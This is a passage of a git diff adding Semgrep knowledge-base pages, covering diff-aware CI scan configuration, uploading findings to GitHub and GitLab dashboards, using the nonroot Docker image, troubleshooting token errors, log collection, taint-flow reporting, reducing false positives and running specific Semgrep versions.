+If you are running both full and diff-aware scans for the repository, you can use if clauses or define separate templates for full scans and [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) in Azure Pipelines. Diff-aware scans require the use of the `SEMGREP_PR_ID` and `SEMGREP_BASELINE_REF` variables, while full scans do not. Full scans are typically run on the condition `if [ $(Build.SourceBranchName) = "main" ]`.
+
+
+
+
+
+In the Bitbucket Pipelines configuration file, set [`SEMGREP_BASELINE_REF`](/semgrep-ci/ci-environment-variables#semgrep_baseline_ref) to enable diff-aware scanning:
+
+```yaml
+image: semgrep/semgrep:latest
+
+pipelines:
+ ...
+ pull-requests:
+ '**':
+ - step:
+ name: Semgrep scan on PR
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ - export BITBUCKET_TOKEN=$PAT # Necessary for PR comments
+ # Change to your default branch if different from main
+ - export SEMGREP_BASELINE_REF="origin/main"
+ - git fetch origin "+refs/heads/*:refs/remotes/origin/*"
+ - semgrep ci
+```
+
+
+
+
+
+Include the following definition in your GitHub Actions configuration file to enable diff-aware scanning:
+
+```yaml
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+```
+
+### Example
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+```
+
+
+
+
+
+Set up your `.gitlab-ci.yml` conditions (usually `rules`) to run a scan if `$CI_MERGE_REQUEST_IID` is defined. Semgrep automatically runs a diff-aware scan if the variable is present, as it is in merge request pipelines:
+
+```yaml
+rules:
+ # Scan changed files in MRs, (diff-aware scanning):
+ - if: $CI_MERGE_REQUEST_IID
+```
+### Example
+
+```yaml expandable
+semgrep:
+ # A Docker image with Semgrep installed.
+ image: semgrep/semgrep
+ # Run the "semgrep ci" command on the command line of the docker image.
+ script: semgrep ci
+
+ rules:
+ # Scan changed files in MRs, (diff-aware scanning):
+ - if: $CI_MERGE_REQUEST_IID
+
+ variables:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it as a variable in your GitLab CI/CD project settings.
+ SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
+```
+
+
+
+
+
+Jenkins is highly configurable and there are multiple approaches to setting up diff-aware scans.
+
+See the following articles for detailed guides:
+
+
+
+
+
+
+
+
+
+
+Set [`SEMGREP_BASELINE_REF`](/semgrep-ci/ci-environment-variables#semgrep_baseline_ref) to enable diff-aware scanning:
+
+```console
+export SEMGREP_BASELINE_REF="main"
+```
+
+You may need to perform additional `git checkout` steps to ensure that the configured baseline ref is available in the scan environment along with the source branch.
+
+
+
diff --git a/mintlify-docs/kb/semgrep-ci/upload-ci-findings-to-github.mdx b/mintlify-docs/kb/semgrep-ci/upload-ci-findings-to-github.mdx
new file mode 100644
index 0000000000..61880b35ec
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/upload-ci-findings-to-github.mdx
@@ -0,0 +1,63 @@
+---
+title: "Upload Semgrep CI findings to GitHub Advanced Security Dashboard"
+---
+
+
+This document shows an sample job configuration that uploads your Semgrep findings to GitHub Advanced Security Dashboard. See [GitHub Actions](/semgrep-ci/sample-ci-configs#github-actions) for information on adding a Semgrep configuration file to your GitHub Actions pipeline.
+
+```bash expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan mainline branches and report all findings:
+ push:
+ branches: ["master", "main"]
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+permissions:
+ # This permission is required when uploading sarifs to any repository at GitHub
+ security-events: write
+ # These permissions are only required when uploading sarifs to private and internal repositories at GitHub
+ contents: read
+ actions: read
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci --sarif > semgrep.sarif
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+
+ - name: Upload SARIF file for GitHub Advanced Security Dashboard
+ uses: github/codeql-action/upload-sarif@v3
+ with:
+ sarif_file: semgrep.sarif
+ if: always()
+```
+
diff --git a/mintlify-docs/kb/semgrep-ci/upload-ci-findings-to-gitlab.mdx b/mintlify-docs/kb/semgrep-ci/upload-ci-findings-to-gitlab.mdx
new file mode 100644
index 0000000000..e011ba7111
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/upload-ci-findings-to-gitlab.mdx
@@ -0,0 +1,34 @@
+---
+title: "Upload Semgrep CI findings to GitLab Security Dashboard"
+---
+
+This document shows an sample job configuration that uploads your Semgrep findings to GitLab Security Dashboard. See [GitLab CI/CD](/semgrep-ci/sample-ci-configs#gitlab-cicd) for information on adding a Semgrep configuration file to your GitLab CI/CD pipeline.
+
+```bash expandable
+semgrep:
+ # A Docker image with Semgrep installed.
+ image: semgrep/semgrep
+
+ rules:
+ # Scan changed files in MRs, (diff-aware scanning):
+ - if: $CI_MERGE_REQUEST_IID
+
+ # Scan mainline (default) branches and report all findings.
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+
+ variables:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it as a variable in your GitLab CI/CD project settings.
+ SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
+
+ # Upload findings to GitLab SAST Dashboard:
+ SEMGREP_GITLAB_JSON: "1"
+
+ # Run the "semgrep ci" command on the command line of the docker image and send findings
+ # to GitLab SAST.
+ script: semgrep ci --code --gitlab-sast > gl-sast-report.json || true
+ artifacts:
+ reports:
+ sast: gl-sast-report.json
+```
diff --git a/mintlify-docs/kb/semgrep-ci/using-nonroot-docker-image-with-gha.mdx b/mintlify-docs/kb/semgrep-ci/using-nonroot-docker-image-with-gha.mdx
new file mode 100644
index 0000000000..aa2ebb276f
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/using-nonroot-docker-image-with-gha.mdx
@@ -0,0 +1,72 @@
+---
+title: "Configure GitHub Actions to use the nonroot Semgrep docker image"
+---
+
+When using a [`nonroot` variant](https://hub.docker.com/r/semgrep/semgrep/tags?page=&page_size=&ordering=&name=nonroot) of the Semgrep docker image with GitHub Actions, there is some extra workflow configuration required to ensure that scans run as intended despite the limited permissions of the `nonroot` image.
+
+This [sample GitHub Actions configuration file](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) uses the default Semgrep docker image, which has root permissions, making it very simple to declare it as a container image running on top of something like Ubuntu, using the GitHub Actions workflow YAML syntax.
+
+With the `nonroot` image, the same YAML syntax cannot be used to declare the image, as it then runs into permissions issues when trying to check out the repository during scan time. Instead, the image must be declared using a `docker run` command, along with the proper user and group permissions applied beforehand.
+
+Furthermore, various pieces of Git metadata stored as environment variables or in the `GITHUB_EVENT_PATH` JSON file must be copied over from the runner environment to the `nonroot` image environment, as Semgrep uses this information to properly configure the scan.
+
+## Sample GitHub Actions workflow file using the `nonroot` Semgrep docker image
+
+The following example workflow file contains the extra steps required to successfully use the `nonroot` image, along with commented explanations before each step.
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
+ push:
+ branches:
+ - main
+ - master
+ paths:
+ - .github/workflows/semgrep.yml
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+jobs:
+ semgrep:
+ name: semgrep/ci
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - name: Run Semgrep
+ run: |
+
+ # Copy the event.json file into the current working directory
+ # so it gets mounted when we run docker and semgrep can refer
+ # to it when setting git metadata.
+ cp $GITHUB_EVENT_PATH ./.github_event_path.json
+ # Copy over all GitHub Actions related env vars from the runner
+ # environment into a file that will get passed into docker so
+ # we retain all necessary env vars that semgrep uses for
+ # setting git metadata.
+ echo "Saving these env vars to file, then passing into docker container."
+ printenv | sort | egrep "^GITHUB_" | tee .env
+ printenv | sort | egrep "^RUNNER_" | tee -a .env
+ # Recursively set the owner:group of all files in the current
+ # working directory to the UID and GID of the semgrep user
+ # that the non-root semgrep docker image runs as. When we bind
+ # mount the directory to our docker container, it retains the
+ # permissions of the host.
+ sudo chown -R 1000:1000 .
+ # Finally, we pass in all the env vars from our file along with
+ # setting the SEMGREP_APP_TOKEN and updated GITHUB_EVENT_PATH.
+ docker run --rm -v "${PWD}:/src" \
+ --env-file .env \
+ -e SEMGREP_APP_TOKEN=${{ secrets.SEMGREP_APP_TOKEN }} \
+ -e GITHUB_EVENT_PATH="/src/.github_event_path.json" \
+ semgrep/semgrep:latest-nonroot \
+ semgrep ci
+```
diff --git a/mintlify-docs/kb/semgrep-ci/why-duplicate-findings.mdx b/mintlify-docs/kb/semgrep-ci/why-duplicate-findings.mdx
new file mode 100644
index 0000000000..20408bb578
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/why-duplicate-findings.mdx
@@ -0,0 +1,16 @@
+---
+title: "Why are duplicate findings appearing after running Semgrep in CI?"
+---
+
+When scanning with Semgrep in CI, there are two types of scans you can perform: full scans and [**diff-aware scans**](/deployment/customize-ci-jobs#set-up-diff-aware-scans).
+
+For full scans, the same rule and code produces a finding for every branch it is found on. If you are performing full scans on all branches, [the same finding appears for each branch](/semgrep-code/remove-duplicates).
+
+To prevent duplication, Semgrep recommends performing full scans only on the main branch of your repository and performing diff-aware scans on other branches in PRs or MRs. Diff-aware scans compare findings on the current Git ref to findings on the base branch, allowing deduplication of findings not introduced in the PR/MR branch.
+
+For more on setting up diff-aware scanning, see:
+
+
+
+
+
diff --git a/mintlify-docs/kb/semgrep-code.mdx b/mintlify-docs/kb/semgrep-code.mdx
new file mode 100644
index 0000000000..fe12776d00
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code.mdx
@@ -0,0 +1,39 @@
+---
+title: "Semgrep Code"
+---
+
+
+
+ Troubleshoot "invalid header value" errors in GitHub and GitLab.
+
+
+ Learn how to collect logs when running Semgrep on the command line.
+
+
+ Understand why fewer than expected tainted data flows may be reported.
+
+
+ Troubleshoot cases where `SEMGREP_APP_TOKEN` is valid but scans fail in GitLab.
+
+
+ Learn how Semgrep supports all versions of a programming language.
+
+
+ Learn strategies to reduce false positives in Semgrep scans.
+
+
+ Test scans with different versions of Semgrep.
+
+
+ Diagnose monorepo scan failures with logs, scan partitioning, and resource tuning.
+
+
+ Troubleshoot common issues with Semgrep scans.
+
+
+ Understand why findings appear in files expected to be ignored.
+
+
+ Learn why findings can increase even when the codebase appears unchanged.
+
+
diff --git a/mintlify-docs/kb/semgrep-code/InvalidHeaderValue.mdx b/mintlify-docs/kb/semgrep-code/InvalidHeaderValue.mdx
new file mode 100644
index 0000000000..ab99b56085
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/InvalidHeaderValue.mdx
@@ -0,0 +1,86 @@
+---
+title: "Troubleshoot ValueError: Invalid header value error"
+---
+
+When scanning with Semgrep, you may run into the following error:
+
+```bash expandable
+Invalid header value b'Bearer *******************************************************'
+Traceback (most recent call last):
+ File "/usr/local/lib/python3.11/site-packages/semgrep/commands/wrapper.py", line 35, in wrapper
+ func(*args, **kwargs)
+ File "/usr/local/lib/python3.11/site-packages/semgrep/commands/ci.py", line 242, in ci
+ deployment_name = auth.get_deployment_from_token(token)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/semgrep/app/auth.py", line 17, in get_deployment_from_token
+ r = state.app_session.get(
+ ^^^^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/requests/sessions.py", line 602, in get
+ return self.request("GET", url, **kwargs)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/semgrep/app/session.py", line 188, in request
+ response = super().request(*args, **kwargs)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/requests/sessions.py", line 589, in request
+ resp = self.send(prep, **send_kwargs)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/requests/sessions.py", line 703, in send
+ r = adapter.send(request, **kwargs)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/requests/adapters.py", line 486, in send
+ resp = conn.urlopen(
+ ^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py", line 714, in urlopen
+ httplib_response = self._make_request(
+ ^^^^^^^^^^^^^^^^^^^
+ File "/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py", line 415, in _make_request
+ conn.request(method, url, **httplib_request_kw)
+ File "/usr/local/lib/python3.11/site-packages/urllib3/connection.py", line 244, in request
+ super(HTTPConnection, self).request(method, url, body=body, headers=headers)
+ File "/usr/local/lib/python3.11/http/client.py", line 1283, in request
+ self._send_request(method, url, body, headers, encode_chunked)
+ File "/usr/local/lib/python3.11/http/client.py", line 1324, in _send_request
+ self.putheader(hdr, value)
+ File "/usr/local/lib/python3.11/site-packages/urllib3/connection.py", line 224, in putheader
+ _HTTPConnection.putheader(self, header, *values)
+ File "/usr/local/lib/python3.11/http/client.py", line 1261, in putheader
+ raise ValueError('Invalid header value %r' % (values[i],))
+ValueError: Invalid header value b'Bearer *******************************************************'
+```
+
+This error indicates that there is a problem in the pasted `SEMGREP_APP_TOKEN` value, most often an extra newline (`\n`).
+
+## Fix a secret on GitHub
+
+To fix on GitHub:
+
+
+
+At either the organization or repository level, go to **Settings** > **Secrets and variables**
+
+ 
+
+
+
+Update the value of the `SEMGREP_APP_TOKEN` to ensure it does not have an extraneous newline (`\n`) and is not malformed
+
+ 
+
+
+
+
+## Fix a secret on GitLab
+
+To fix on GitLab:
+
+
+
+Go to your repository's **CI/CD** settings
+
+
+Update the `SEMGREP_APP_TOKEN` value to ensure it does not have an extraneous newline (`\n`) and is not malformed
+
+ 
+
+
+
diff --git a/mintlify-docs/kb/semgrep-code/collect-cli-logs.mdx b/mintlify-docs/kb/semgrep-code/collect-cli-logs.mdx
new file mode 100644
index 0000000000..54aa145444
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/collect-cli-logs.mdx
@@ -0,0 +1,73 @@
+---
+title: "How to collect logs when running Semgrep in CLI"
+description: "When troubleshooting Semgrep scans on the command line interface (CLI), collecting and sharing logs can be extremely helpful. By default, Semgrep prints findings from a scan to `stdout`, and other messages, including scan details and progress, to `stderr`. For troubleshooting, it's best to provide both."
+---
+
+
+To collect all relevant logs for a scan, follow these instructions. All log output options apply to both `semgrep scan` and `semgrep ci`. All examples use `semgrep ci` for simplicity, and name the output file as `semgrep.log`.
+
+## Capturing full log output
+
+To store the entire Semgrep log for a scan, including the findings:
+
+```bash
+semgrep ci &> semgrep.log
+```
+
+## Separating findings and other logs
+
+Sometimes it's helpful to separate findings from other scan logs. Using the following commands separates the two and allows for independent review of findings and scan behavior.
+
+Write only findings to a file, print other logs to the terminal:
+
+```bash
+semgrep ci > semgrep.log
+```
+
+Separate findings and logs by writing findings to `findings.txt` and logs to `semgrep.log` through either of the following commands:
+
+```bash
+semgrep ci -o findings.txt 2> semgrep.log
+semgrep ci > findings.txt 2> semgrep.log
+```
+
+Write logs to a file, print findings to the terminal:
+
+```bash
+semgrep ci 2> semgrep.log
+```
+
+### Formatting findings
+
+Semgrep can output findings in a variety of formats. By default, the findings are formatted as readable text in the terminal, but they can also be output in other formats such as JSON or SARIF. For example:
+
+```bash
+semgrep ci --json -o findings.json 2> semgrep.log
+```
+
+outputs findings as JSON and saves the scan log to `semgrep.log`.
+
+> The JSON schema for Semgrep's CLI output can be found in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
+
+In addition to findings formats, there are options to add details of the data flow (`--dataflow-traces`) or explanations of rule matching (`--matching-explanations`). These are less frequently used in overall scan troubleshooting, but can be helpful for understanding findings.
+
+## Logging verbosity options
+
+Semgrep has three commonly used log levels.
+
+- Default: Prints scan progress, findings, and errors or warnings.
+- Verbose (`-v` or `--verbose`): Adds list of rules and other details such as skipped files.
+- Debug (`--debug`): Logs entire scan process at a very high level of detail.
+
+The default level is useful for many common tasks such as identifying the scan in the Cloud Platform, checking which products were run, and seeing how many files were scanned with how many rules.
+
+Verbose logs are useful to determine which specific files were scanned and list all rules run. They provide the most useful detail when a particular file appears to be missed or it's not clear which rules are running in a scan.
+
+Debug logs are typically collected only if very detailed debugging is needed, such as if Semgrep crashes or is running very slowly. They're often very large.
+
+Semgrep can also output only findings with its Quiet mode (`-q`). This is not recommended when troubleshooting.
+
+## Additional references
+
+See [Semgrep scan troubleshooting](/kb/semgrep-code/semgrep-scan-troubleshooting) for specific troubleshooting suggestions for scans.
+
diff --git a/mintlify-docs/kb/semgrep-code/finding_all_taints.mdx b/mintlify-docs/kb/semgrep-code/finding_all_taints.mdx
new file mode 100644
index 0000000000..f06b047798
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/finding_all_taints.mdx
@@ -0,0 +1,88 @@
+---
+title: "Why isn’t Semgrep reporting all my tainted data flows?"
+description: "One of the reasons behind seeing fewer than expected tainted data flows could be the principle of reporting on shortest paths only."
+---
+
+By default, Semgrep reports a tainted source-sink permutation only once and reports the data flow that traverses the shortest path. Any longer paths with the same source-sink combination are not shown.
+
+## Analysis of two tainted data flows
+
+Take a look at these two examples:
+
+Call stack 1:
+
+```bash
+File2 function2(sourceA)
+ >> File1 function1(sourceA/sinkB)
+```
+
+Call stack 2:
+
+```bash
+File 1 function4(sourceA)
+ >> function3(sourceA)
+ >> function2(sourceA)
+ >> function1(sourceA/sinkB)
+```
+
+### Interfile analysis
+
+If both tainted data flows are identified in the same scan, and the scan has interfile analysis enabled (`--pro`, or Pro Engine enabled in the Cloud Platform), only Call stack 1 is reported as a finding. It has a shorter path, and has the same sourceA -> sinkB taint.
+
+This speeds up triage by ensuring you are only reviewing unique findings. It's especially useful for languages with polymorphic classes that can add noise for a singleton taint.
+
+### Intrafile analysis
+
+If only intrafile / interprocedural analysis is performed (`--pro-intrafile`), Semgrep only reports a finding for call stack 2. Call stack 1 would not be identified, because it crosses file boundaries.
+
+## Best practices for testing tainted data flows
+
+To understand in greater detail how Semgrep detects tainted data flows, you can use your own test cases to review different paths.
+
+### Dry runs
+
+To avoid sending test data to Semgrep AppSec Platform and potentially confounding existing findings, use `semgrep scan` or `semgrep ci --dry-run`.
+
+When testing locally, adding `--dataflow-traces` allows you to see the taint traces as you would in the Semgrep AppSec Platform UI.
+
+#### Sample taint dataflow reporting
+
+The following is an example that shows dataflow traces traversing multiple files, demonstrating interfile taint tracking:
+
+```java expandable
+test2.java
+ test-spring-insecure-bean-validation
+ Passing user input to context.buildConstraintViolationWithTemplate() function may lead to
+ execution of arbitrary commands.
+
+ 8┆ context.buildConstraintViolationWithTemplate(template).addConstraintViolation();
+
+ Taint comes from:
+ test1.java
+ 128┆ @Override
+ 129┆
+ 130┆ public boolean isValid1234(MessageParticipantsDto messageParticipantsDto,
+ConstraintValidatorContext context) {
+
+ Taint flows through these intermediate variables:
+ test1.java
+ 130┆ public boolean isValid1234(MessageParticipantsDto messageParticipantsDto,
+ ConstraintValidatorContext context) {
+
+ This is how taint reaches the sink:
+ test1.java
+ 156┆ return ValidationUtil.buildTemplate(context, templateList);
+ Taint flows through these intermediate variables:
+ 5┆ public boolean buildTemplate(ConstraintValidatorContext context, List templateList) {
+ then reaches:
+ 8┆ context.buildConstraintViolationWithTemplate(template).addConstraintViolation();
+```
+
+### Changing Pro analysis options
+
+You can change whether you are using the `--pro` or `--pro-intrafile` option depending on the exact flow you're testing, as described in the preceding section, [Analysis of two tainted data flows](#analysis-of-two-tainted-data-flows).
+
+### Altering the paths
+
+To ensure you see all the flow options, start by testing the shortest path and then change the code so that the shortest path is no longer tainted. Repeat this until you have achieved the longest taint flow path you want to test.
+
diff --git a/mintlify-docs/kb/semgrep-code/gitlab-group-variables.mdx b/mintlify-docs/kb/semgrep-code/gitlab-group-variables.mdx
new file mode 100644
index 0000000000..b11c27403b
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/gitlab-group-variables.mdx
@@ -0,0 +1,26 @@
+---
+title: "My GitLab pipeline says that the token is invalid, but it is valid"
+---
+
+If you've checked the value of your `SEMGREP_APP_TOKEN` and have confirmed that it is valid, you may still see invalid token errors if both of the following are true:
+
+- Your variable is set as a group variable.
+- Your configuration explicitly references `SEMGREP_APP_TOKEN` in the `variables` section.
+
+There is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/199741) where group variables are accessible to projects but are not resolved by GitLab's runners.
+
+Semgrep's [default configuration](/semgrep-ci/sample-ci-configs/#gitlab-cicd) recommends setting the variable as a project or repository variable. Project variables are properly resolved by GitLab's runners.
+
+If you prefer to use a group variable, remove the explicit reference to `SEMGREP_APP_TOKEN` from your `.gitlab-ci.yml` file. For example, the default configuration would look like this after the change:
+
+```yml
+semgrep:
+ image: semgrep/semgrep
+ script: semgrep ci
+ rules:
+ - if: $CI_PIPELINE_SOURCE == "web" # allow triggering a scan manually from the gitlab UI
+ - if: $CI_MERGE_REQUEST_IID
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+```
+
+Without the explicit reference failing to resolve, GitLab's runners identify and use the correct value.
diff --git a/mintlify-docs/kb/semgrep-code/reduce-false-positives.mdx b/mintlify-docs/kb/semgrep-code/reduce-false-positives.mdx
new file mode 100644
index 0000000000..500a96c405
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/reduce-false-positives.mdx
@@ -0,0 +1,142 @@
+---
+title: "Reduce false positives in semgrep scan"
+sidebarTitle: "Reduce false positives"
+description: "The `semgrep scan` command can be used to quickly perform SAST scans. However, you may encounter false positives as you work through your findings. This document presents different strategies to reduce false positives and increase true positives in your scans."
+---
+
+## Customize your rules
+
+If you notice that a specific Semgrep Community rule generates a high rate of false positives, the rule is said to be **noisy**. You can:
+
+- Fork and customize that rule to improve its performance
+- Remove the rule from the scan
+
+### Set up local rules
+
+To have more granular control over the rules in a ruleset, you must add the ruleset to your machine, then configure Semgrep to use those local rules.
+
+
+
+ Navigate to the repository that hosts the rule. Usually, the [ Semgrep community rules repository](https://github.com/semgrep/semgrep-rules) hosts the rule, but Semgrep also imports rules from other repositories. From the rule's entry in the Registry, check the author of the rule to confirm the source.
+
+
+ Fork or clone the repository to create a local copy of all the rules.
+
+
+ To clone, click **Code** then copy and run the cloning command in your CLI. This creates a `semgrep-rules` repository.
+
+
+ To fork, click **Fork** and follow the steps provided by GitHub. You must also clone the forked repository to your machine.
+
+
+ In your CLI, navigate to your `semgrep-rules` repository.
+
+
+ Find and copy the rules you want to use in a folder within your target codebase. Give the folder a descriptive name, such as `semgrep-rules`.
+
+
+ To use the local rules, run the following command:
+
+
semgrep scan --config='SEMGREP_RULES_FOLDER/'
+
+
+
+
+### Customize a rule from a Semgrep Community ruleset
+
+1. Edit the noisy rule to improve its performance.
+1. Test your rule improvements by entering:
+
+
+
+
+### Remove the rule from the scan
+
+Delete the rule from the folder containing your Semgrep rules.
+
+## Use advanced analyses and Pro rules
+
+Optimizing rules can be a time-consuming process. Often, rules are not necessarily noisy, but lack additional analysis to detect true positives while ignoring false positives.
+
+[Semgrep Code](/semgrep-code/overview/) provides cross-function (interprocedural) and cross-file (interfile) analyses. These analyses both reduce false positives and detect true positives that Semgrep Community Edition (CE) can't find.
+
+For some languages and frameworks, such as Java or the Python Django framework, Semgrep also provides advanced analyses that take into account the language's characteristics, framework-specific dataflows, and the like. These analyses are available by default once you've signed in to Semgrep.
+
+
+**NOTE**
+
+Semgrep Code is free for up to 10 users.
+
+
+### Sign in to Semgrep
+
+You need a GitHub or GitLab account to sign in to Semgrep.
+
+
+
+ Enter the following command:
+ ```
+ semgrep login
+ ```
+
+
+ Follow the steps to create an account and proceed.
+
+
+ Optional: Enter `semgrep ci` to run a scan. By default, these scans use [Semgrep Pro rules, cross-function analysis, and language-specific improvements](#analyses-and-improvements-available-by-default).
+
+
+
+
+**TIP**
+
+You can't use the `--config` option with `semgrep ci` once you are logged in. To use your custom rules, add them to your [ Policies page](https://semgrep.dev/orgs/-/policies).
+
+
+
+### Analyses and improvements available by default
+
+The following features are enabled by default and help reduce false positives.
+
+#### Pro rules
+
+Semgrep Pro rules are high-confidence, professionally maintained rules provided exclusively by Semgrep.
+
+The goal of Pro rules is to provide a set of well-supported rules with improved coverage across languages and vulnerability types. Semgrep Pro rules are written using Semgrep’s latest features and, in general, target users who are looking to produce accurate, actionable findings.
+
+To see the languages with Pro rules, go to [Supported languages](/supported-languages).
+
+#### Cross-function analysis
+
+Cross-function analysis means that interactions between functions are taken into account. This improves taint analysis, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many functions.
+
+To see cross-function analysis in action, [run the interactive example](/semgrep-code/semgrep-pro-engine-intro#cross-function-example).
+
+#### Language-specific improvements
+
+Languages such as Java and frameworks such as Django, FastAPI, and Flask have specific improvements that take into account language features and implicit dataflows. To learn more:
+
+
+
+
+
+
+### Enable cross-file analysis
+
+Cross-file analysis (also known as **interfile analysis**) takes into account how information flows between files. In particular, cross-file analysis includes **cross-file taint analysis**, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many files. Other analyses performed across files include constant propagation and type inference.
+
+Cross-file analysis is usually used in contrast to intrafile, or per-file analysis, where each file is analyzed as a standalone block of code.
+
+To run a scan with cross-file analysis, use the following command:
+
+
+semgrep ci --pro
+
+
+
+**RUN SCA AND SAST SCANS WITH ONE COMMAND**
+
+The `semgrep ci` command can also run SCA scans with the Semgrep Supply Chain product, which makes use of the same analyses mentioned in this document to determine **reachability** and reduce false positives.
+
+Dataflow and interfile analyses in particular ensure that Semgrep Supply Chain provides a high true positive rate while reducing false positives. Read the [ Doyensec Software Composition Analysis Benchmark](https://www.doyensec.com/resources/Doyensec_Software_Composition_Analysis_Benchmark.pdf) to learn more.
+
diff --git a/mintlify-docs/kb/semgrep-code/run-specific-version.mdx b/mintlify-docs/kb/semgrep-code/run-specific-version.mdx
new file mode 100644
index 0000000000..aa0aede036
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/run-specific-version.mdx
@@ -0,0 +1,63 @@
+---
+title: "How to run different versions of Semgrep"
+description: "However, when testing or managing upgrades, it can be helpful to run different versions of Semgrep to compare behavior."
+---
+
+
+
+**INFO**
+
+If you use Semgrep with Semgrep AppSec Platform, [only the latest 10 minor versions are supported](/deployment/checklist/#semgrep-versions).
+
+
+Installation with Homebrew does not support multiple versions of Semgrep, but you can use [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/), [`uv`](https://docs.astral.sh/uv/), or Docker to install different versions. In the following examples, x.y.z is a placeholder for a version string.
+
+## Running different versions using pipx
+
+Install a specific Semgrep version using `pipx`'s version syntax:
+
+
pipx install semgrep==x.y.z
+
+If you already have Semgrep installed via `pipx`, use `--force` to reinstall a different version:
+
+
pipx install --force semgrep==x.y.z
+
+## Running different versions using uv
+
+You can also pin a specific version using `uv tool install`:
+
+
uv tool install semgrep==x.y.z
+
+Or run a specific version one-off, without installing it persistently, using `uvx`:
+
+
uvx semgrep@x.y.z --version
+
+Confirm installation:
+
+semgrep --version
+
+Then, execute Semgrep as you would normally on the command line.
+
+## Running different versions using Docker
+
+To run a version other than `latest` using Docker, use the tag for the version when pulling or running the image.
+
+To pull:
+
+
docker pull semgrep/semgrep:x.y.z
+
+To run locally, mounting the desired source directory (`/PATH/TO/SRC`) for scanning:
+
+
docker run --rm -v "/PATH/TO/SRC:/src" semgrep/semgrep:x.y.z semgrep --config=auto
+
+To run in GitHub Actions CI:
+
